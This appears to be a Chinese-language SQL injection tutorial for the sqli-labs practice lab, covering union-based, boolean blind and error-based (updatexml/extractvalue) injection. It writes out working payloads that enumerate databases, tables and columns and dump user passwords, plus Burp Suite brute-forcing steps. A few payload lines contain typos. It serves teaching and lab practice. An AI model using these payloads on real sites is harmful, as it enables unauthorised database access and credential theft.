通过把SQL命令插入到Web表单或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击,SQL注入目前黑客对数据库进行攻击的最常用手段之一。
联合查询有前提 必须有显示位。
常见字符对应的URL编码值
’%27空格%20#,–+%23使用hackbar插件输入url,方便查看较长的sql注入语句 在火狐浏览器安装hackbar插件:菜单—附加组件–搜索“hackbar”–安装
查看Less-1的index.php源码,可以看到数据库中的SQL语句执行如下,id的类型是字符,用户输入id=1’,输出后是id=‘1’’,也就是用户多输入的一个’和前面的一个’闭合了,我的源码在D:\phpStudy\PHPTutorial\WWW\sqli-labs\Less-1目录下,文件都在sqli-labs目录下,找到你们自己的就行了
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";输入http://127.0.0.1/sqli-labs/Less-1/?id=1的页面显示(http://127.0.0.1/sqli-labs/)这个路径是你们自己的sqli-labs路径,以下都是;) 将?id=1改为?id=1'的页面显示
使用order by(排序),来判断有几列数据,语句如下
order by 数字d
代表是对查询结果的第几列进行判断,从而实现判断字段个数,如果没有第d列会报错 先输入http://127.0.0.1/sqli-labs/Less-1/?id=1' order by 5--+判断,--+表示注释,不执行后面注释掉的语句 报错说明字段数小于5,改为?id=1' order by 4--+发现还是报错,然后试试?id=1' order by 3--+发现有显示 说明字段数为3
使用union联合查询判断显示位。先使union前面的语句为假,这样就只会显示union后面的查询结果,输入 id=-1’.接着输入union后面的部分,因为union前后查询的字段数量是一样的,所以后面select就需要输入3个字段 输入语句http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,3--+
结果显示回显了2和3位置,只能利用回显位2和3爆数据库
查询数据库需要用到一些数据库连接函数,concat、concat_ws、group_concat函数以及一些库文件和其他函数
concat()函数
含义: 将多个字符串连接成一个字符串。语法: concat(str1, str2,…) 返回结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null。concat_ws()函数
含义: 和concat()一样,将多个字符串连接成一个字符串,但是可以一次性指定分隔符~(concat_ws就是concat with separator)语法: concat_ws(separator, str1, str2, …) 说明:第一个参数指定分隔符。需要注意的是分隔符不能为null,如果为null,则返回结果为null。group_concat()函数 此函数是将括号内字段的字段值以逗号作为分隔符打印在一行。
MySQL自带四个库,其中information_schema库下存放着数据库对象相关概要信息,比如字符集、引擎、数据库、数据表、视图、列、权限等,其中有重要的三个表,分别是:schema表、tables 表、columns 表
schema:在SQL环境下,schema就是数据库对象的集合,所谓的数据库对象也就是常说的表,索引,视图,存储过程等
schema_name记录数据库名称
tables 记录数据库和表的关系
table_name 表名 table_schema:表所属数据库的名字
columns 表和列的关系
column_name 列名 table_name:字段所属数据表的名字 table_schema:字段所属数据库的名字
函数 user():返回当前数据库连接使用的用户 database():返回当前数据库连接使用的数据库 version():返回当前数据库的版本
查看版本:http://127.0.0.1/sqli-labs/Less-1/?id=-1'union select 1,version(),3--+ 使用连接函数查询数据库、版本、当前用户
http://127.0.0.1/sqli-labs/Less-1/?id=-1'union select 1,concat_ws('~',database(),version(),user()),3--+输入语句爆数据库,爆出一个名为’security’的数据库
127.0.0.1/sqli-labs/Less-1/?id=-1'union select 1,database(),3 from information_schema.schemata --+输入语句,查询上一步爆出的security数据库下的所有表名
127.0.0.1/sqli-labs/Less-1/?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+输入语句查询上一步所有表中users表中的所有列
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+输入语句
http://127.0.0.1/sqli-labs/Less-1/?id=-1'union select 1,username,password from users where id=2--+盲注:可以进行SQL注入,但是不能通过SQL注入漏洞看到数据库中的信息,但是可以通过真假判断数据库中的信息。盲注一般分为布尔盲注和基于时间的盲注和报错的盲注。
布尔盲注的方法:构造逻辑判断语句,判断信息的真假,取出所有的真值。
使用工具:burpsuit爆破
如果上面的函数被禁用,也有相应的函数替换。可百度 布尔型:页面只返回True和False两种类型页面。利用页面返回不同,逐个猜解数据
布尔型盲注步骤和语句
1.判断当前数据库名长度与数据库名称 and select length(database())>n //判断数据库名长度 and ascii(substr(database(),m,1))>n //截取数据库名第m个字符并转换成ascii码 判断具体值
2.判断数据库的表长度与表名
and length((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1))>n //判断第一行表名的长度
and ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),m,1))>n //截取第一行表名的第m个字符串转换为ascii值判断具体为多少 3.判断数据库的字段名长度与字段名称
and length((select column_name from information_schema.columns where table_name=‘users’ limit 0,1))>n //判断表名中字段名的长度
adn ascii((substr(select column_name from information_schema.columns where table_name=‘users’ limit 0,1),m,1))>n //截取表中字段的第m字符串转换为ascii值,判断具体值
4.判断字段的内容长度与内容字符串 and length((select user from users limit 0,1)) >1 //判断字符串内容长度
and ascii(substr((select user from users limit 0,1),m,1)) //截取第m个字符串转换为ascii值
输入http://127.0.0.1/sqli-labs/Less-8/?id=1,显示You are in…
输入http://127.0.0.1/sqli-labs/Less-8/?id=1',显示为空 由此可以初步判断存在SQL注入漏洞,并且可知,如果查询语句执行成功会返回You are in…,查询语句执行不成功无返回
输入语句http://127.0.0.1/sqli-labs/Less-8/?id=1' and length(database())>=8--+页面结果显示You are in… 再输入http://127.0.0.1/sqli-labs/Less-8/?id=1' and length(database())>=9--+发现页面无返回 可以发现当数值为8时,页面返回正确,而当数值为9时,无返回,整个语句的意思是,数据库长度大于等于8时,结果为yes,返回正确,大于等于9时,结果为no,由此可判断数据库的长度为8
方法:使用逐字符判断的方式获取数据库的库名。数据库的范围一般在a~z、0-9之内,可能还有一些特殊字符,这里的字母不区分大小写。逐字符判断的SQL语句为http://127.0.0.1/sqli-labs/Less-8/?id=1' and substr(database(),1,1)='t' --+
substr(string,start,length)函数介绍 string – 指定的要截取的字符串。 start – 必需,规定在字符串的何处开始。正数 —> 在字符串的指定位置开始,负数 -->在从字符串结尾的指定位置开始,0 -->在字符串中的第一个字符处开始。 length – 可选,指定要截取的字符串长度,缺省时返回字符表达式的值结束前的全部字符。
注意,substr的用法和limit的有区别,limit是从0开始排序,而这里是从1开始排序,使用burpsuit的爆破功能爆破其中的‘t’值。 输入语句http://127.0.0.1/sqli-labs/Less-8/?id=1' and substr(database(),1,1)='t'--+ 打开火狐代理,使用burpsuit抓包 抓包后发送到intruder模块,Positions处先清除,再添加 先清除,点击clear 再添加,选中指定位置‘t’,点击add 构建payloads,使用暴力破解方法 设置下面两个地方就可以了,修改成下图,因为数据库名不存在数字,所以在这里删除后面的数字,并且把最大和最小长度都设置为1
开始爆破,攻击之后按照length长度排序,爆破结果显示如下 可以看到s的长度和别的长度不一样并且查看响应,可以看到You are in…,所以可以知道database的第一个字母为s 报第二个字符,将substr(database(),1,1)='t'中的第一个1改成2就行了,爆第几个就改成第几个数字substr(database(),2,1)='t' 用此方法可依次爆出数据库的每个字符,最后得出数据库名称;综上依次可爆出字符为:s、e、c、u、r、i、t、y,所以数据的名字为“security”;
判断表长度,原理同判断数据库长度一样,语句:http://127.0.0.1/sqli-labs/Less-8/?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))>=6--+ 结果显示You are in…,将6改为7,页面无返回,说明第一个表单的长度为6
查询表名、字段名的语句也应粘贴在database()的位置
http://127.0.0.1/sqli-labs/Less-8/?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)))='t'--+类推查询出所有表名和字段名
参考大佬文章 参考大佬文章
在使用SQL注入之报错注入,有一个前提就是页面能够响应详细的错误描述,然而mysql数据库中显示错误描述是因为开发程序中采用了print_r mysql_error()函数,将mysql错误信息输出。
在mysql高版本(大于5.1版本)中添加了对XML文档进行查询和修改的函数:updatexml()、extractvalue() ,当这两个函数在执行时,如果出现xml文档路径错误就会产生报错
xpath报错注入(extractvalue和updatexml) updatexml()函数
updatexml()是一个使用不同的xml标记匹配和替换xml块的函数。 作用:改变文档中符合条件的节点的值 语法: updatexml(XML_document,XPath_string,new_value) 第一个参数:是string格式,为XML文档对象的名称,文中为Doc 第二个参数:代表路径,Xpath格式的字符串例如//title【@lang】 第三个参数:string格式,替换查找到的符合条件的数据 updatexml使用时,当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax) 例如: select * from test where ide = 1 and (updatexml(1,0x7e,3)); 由于0x7e是~,不属于xpath语法格式,因此报出xpath语法错误。extractvalue()函数
此函数从目标XML中返回包含所查询值的字符串 语法:extractvalue(XML_document,xpath_string) 第一个参数:string格式,为XML文档对象的名称 第二个参数:xpath_string(xpath格式的字符串) select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e))); extractvalue使用时当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax) select user,password from users where user_id=1 and (extractvalue(1,0x7e)); 由于0x7e就是~不属于xpath语法格式,因此报出xpath语法错误。